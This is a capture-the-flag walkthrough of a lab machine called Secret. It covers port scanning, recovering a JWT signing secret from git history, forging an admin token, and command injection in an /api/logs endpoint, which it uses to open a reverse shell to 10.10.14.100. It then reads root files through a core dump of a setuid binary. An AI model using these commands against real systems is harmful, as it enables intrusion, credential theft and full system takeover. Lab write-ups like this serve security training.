Enumeration

nmap -sC -sS -sV -F 10.10.11.120 >scan.txt

Starting Nmap 7.92 ( <https://nmap.org> ) at 2021-11-16 11:45 EET
Nmap scan report for 10.10.11.120
Host is up (0.067s latency).
Not shown: 97 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 15.18 seconds

The service at port 80 and 3000 seems the same when you visit them through the browser. It seems to be an authentication service API based on Json Web Tokens (JWT).

We can register a new user with the following request:

curl -X POST <http://10.10.11.120/api/user/register> \\
-H 'Content-Type: application/json' \\
-d '{"name": "xzebra","email":"zebra@example.com","password":"zebra1234"}'
{"user": "xzebra"}

Then login with the following:

curl -X POST <http://10.10.11.120/api/user/login> \\
-H 'Content-Type: application/json' \\
-d '{"email":"zebra@example.com","password":"zebra1234"}'

And we get the token as response.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTkzODBjOTkzODI3ODA0NTc1NjEzMDQiLCJuYW1lIjoieHplYnJhIiwiZW1haWwiOiJ6ZWJyYUBleGFtcGxlLmNvbSIsImlhdCI6MTYzNzA1Njc1NX0.u_5Ez2Ng6UkFTMMsOZNYQSK6_DsKl-dP95Z9J3sKVWk

If we add the given token to the curl headers, we can now access the /api/priv endpoint.

curl -X GET <http://10.10.11.120/api/priv> \\
-H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTkzODBjOTkzODI3ODA0NTc1NjEzMDQiLCJuYW1lIjoieHplYnJhIiwiZW1haWwiOiJ6ZWJyYUBleGFtcGxlLmNvbSIsImlhdCI6MTYzNzA1Njc1NX0.u_5Ez2Ng6UkFTMMsOZNYQSK6_DsKl-dP95Z9J3sKVWk'

But we don’t have any permissions.

{"role":{"role":"you are normal user","desc":"xzebra"}}

Getting the foothold

At the end of the page there is a download button. It is a git repository, if we see the logs, we can see an .env file kept secret. We can recover the file returning to given commit.

git checkout de0a46b5107a2f4d26e348303e76d85ae4870934

If we look at the content of .env file, we can see the following.

DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

In routes/private.js we see the following when getting /api/priv.

if (name == 'theadmin'){
    res.json({
        creds:{
            role:"admin",
            username:"theadmin",
            desc : "welcome back admin,"
        }
    })
}
else{
    res.json({
        role: {
            role: "you are normal user",
            desc: userinfo.name.name
        }
    })
}

It is a hardcoded login that checks wether the JWT contains the name theadmin. JWT sometimes contain some session data. In this case, by reading routes/verifytoken.js we can confirm the user is contained in it:

const jwt = require("jsonwebtoken");

module.exports = function (req, res, next) {
    const token = req.header("auth-token");
    if (!token) return res.status(401).send("Access Denied");

    try {
        const verified = jwt.verify(token, process.env.TOKEN_SECRET);
        req.user = verified;
        next();
    } catch (err) {
        res.status(400).send("Invalid Token");
    }
};

We can decrypt the JWT with some online application like https://jwt.io/. In case of my token, I can see the following:

{
  "_id": "6193c72308a29d0462527318",
  "name": "xzebra",
  "email": "zebra@example.com",
  "iat": 1637074738
}

We can change the name field to match theadmin, then encrypt and sign again using the token we got from the .env file and use it to GET /api/priv. We get the following response:

{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}%

This means we now have a JWT with admin rights (or at least how it is programmed haha).

Getting the user flag

After exploring a bit more the code, we can see there is a route /api/logs, which executes an unescaped git command.

router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;

    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;

This means we can do a command injection using the file query parameter.

In order to try this, we can try to print test to see if it executes.

curl -G <http://10.10.11.120/api/logs> \\
-H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTkzYzcyMzA4YTI5ZDA0NjI1MjczMTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InplYnJhQGV4YW1wbGUuY29tIiwiaWF0IjoxNjM3MDc0NzM4fQ.wGnnkVqhdAph5nRRdqnqbCbHV7jx_eMwh5IgvDSYMTw' \\
--data-urlencode "file=;echo test"

"80bf34c fixed typos 🎉\\n0c75212 now we can view logs from server 😃\\nab3e953 Added the codes\\ntest\\n"

We get the test message appended to the end. So now we can try to execute a reverse shell.

curl -G <http://10.10.11.120/api/logs> \\
-H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTkzYzcyMzA4YTI5ZDA0NjI1MjczMTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InplYnJhQGV4YW1wbGUuY29tIiwiaWF0IjoxNjM3MDc0NzM4fQ.wGnnkVqhdAph5nRRdqnqbCbHV7jx_eMwh5IgvDSYMTw' \\
--data-urlencode "file=;/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.100/6666 0>&1'"

And we got into dasith user!

Just for convenience, we can generate a ssh key with ssh-keygen and upload it to ~/.ssh/authorized-keys. And then ssh into the machine with:

ssh -i key_rsa dasith@10.10.11.120

This will give us a more useful shell.

Privilege escalation

We saw some mongodb path in the .env file, we can try to get some credentials from there.

mongo mongodb://127.0.0.1:27017/auth-web

Once connected, we can list the collections with:

> show collections
users

There is a users collection, lets get the content:

> db.users.find()
{ "_id" : ObjectId("6131bf09c6c27d0b05c16691"), "name" : "theadmin", "email" : "admin@admins.com", "password" : "$2a$10$SJ8vlQEJYL2J673Xte6BNeMmhHBioLSn6/wqMz2DKjxwQzkModUei", "date" : ISODate("2021-09-03T06:22:01.581Z"), "__v" : 0 }
{ "_id" : ObjectId("6131d73387dee30378c66556"), "name" : "newuser", "email" : "root@dasith.works", "password" : "$2a$10$wnvh2al2ABafCszb9oWi/.YIXHX4RrTUiWAIVUlv2Z80lkvmlIUQW", "date" : ISODate("2021-09-03T08:05:07.991Z"), "__v" : 0 }
{ "_id" : ObjectId("613904ae8a27cb040c65de17"), "name" : "dasith", "email" : "dasiths2v2@gmail.com", "password" : "$2a$10$S/GbYplKgIU4oFdTDsr2SeOJreht3UgIA0MdT7F50EtiBy7ymzFBO", "date" : ISODate("2021-09-08T18:45:02.187Z"), "__v" : 0 }

I tried decrypting admin’s hash with hashcat resulting in a very long wait without any success. Meanwile, I tried other privilege escalation techniques, such as looking for sudo allowed commands with sudo -l, but got no success. Although, if we look for files with the setuid bit flag set:

find / -type f -perm -u=s 2>/dev/null

We get an interesting one: /opt/count. Also, the source code is in the same folder, in /opt/code.c.

The executable is owned by root and has the suid bit set, which means it will run with root privileges until this line:

// drop privs to limit file write
setuid(getuid());

This means all the file and directory reads are performed by root. Although, no writes can be performed by root (unless executed by root).

The important part here is the PR_SET_DUMPABLE attribute. According to the man pages:

PR_SET_DUMPABLE (since Linux 2.3.20)
       Set the state of the "dumpable" attribute, which
       determines whether core dumps are produced for the calling
       process upon delivery of a signal whose default behavior
       is to produce a core dump.

This means if we send a signal that creates a core dump to the process while running, a core dump file will be generated. In this core dump we could see the results of reading some files with privileged access stored in the file buffer, which will be dumped.

Normally crashes are found in /var/crash, but may also be in /var/spool or /var/lib/systemd/coredump on other Linux distributions – linux-audit.com

We can try this by running the count program from one shell and killing it from another. We don’t have to enter a path, or the executable will try to dump the file without permissions.

dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: y
Path: 

Then kill the process with a signal that generates a core dump.

dasith@secret:/opt$ ps -aux | grep count

root         854  0.0  0.1 235668  7528 ?        Ssl  15:16   0:00 /usr/lib/accountsservice/accounts-daemon
dasith     40559  0.0  0.0   2488   588 pts/0    S+   16:25   0:00 ./count
dasith     40699  0.0  0.0   6432   660 pts/6    S+   16:26   0:00 grep --color=auto count
dasith@secret:/opt$ kill -BUS 40559

We can see in the executable shell that the core was dumped. Let’s now look for the crash report file.

dasith@secret:/var/crash$ ls -la
total 88
drwxrwxrwt  2 root   root    4096 Nov 16 15:22 .
drwxr-xr-x 14 root   root    4096 Aug 13 05:12 ..
-rw-r-----  1 root   root   27203 Oct  6 18:01 _opt_count.0.crash
-rw-r-----  1 dasith dasith 28107 Nov 16 16:26 _opt_count.1000.crash
-rw-r-----  1 root   root   24048 Oct  5 14:24 _opt_countzz.0.crash

We will unpack the most recent one (also the created by the user):

dasith@secret:/var/crash$ mkdir /tmp/count-crash
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/count-crash/

We can cat the CoreDump file inside the created folder and find the flag. But as it is a binary file, it will be easier to use the strings command:

dasith@secret:/tmp/count-crash$ strings CoreDump

This is not a full system own, so we are going to try to read ssh keys. We can list the .ssh folder files, and we can see there is a id_rsa key.

dasith@secret:/tmp/count-crash$ /opt/count
Enter source file/directory name: /root/.ssh
drwx------      ..
-rw-------      authorized_keys
-rw-------      id_rsa
drwx------      .
-rw-r--r--      id_rsa.pub

After exploiting the crash vulnerability, we are able to retrieve the content of the id_rsa key. And we can ssh into root to compromise the whole system.

References

  • How to read the core dumps:
How does one get a hold of the details regarding a system/application crash
Is there a way to generate a decent looking report with the /var/share/apport/*.crash files? If not, how does one get a hold of the details regarding a past system error?
  • prctl function and PR_SET_DUMPABLE:
prctl(2) - Linux manual page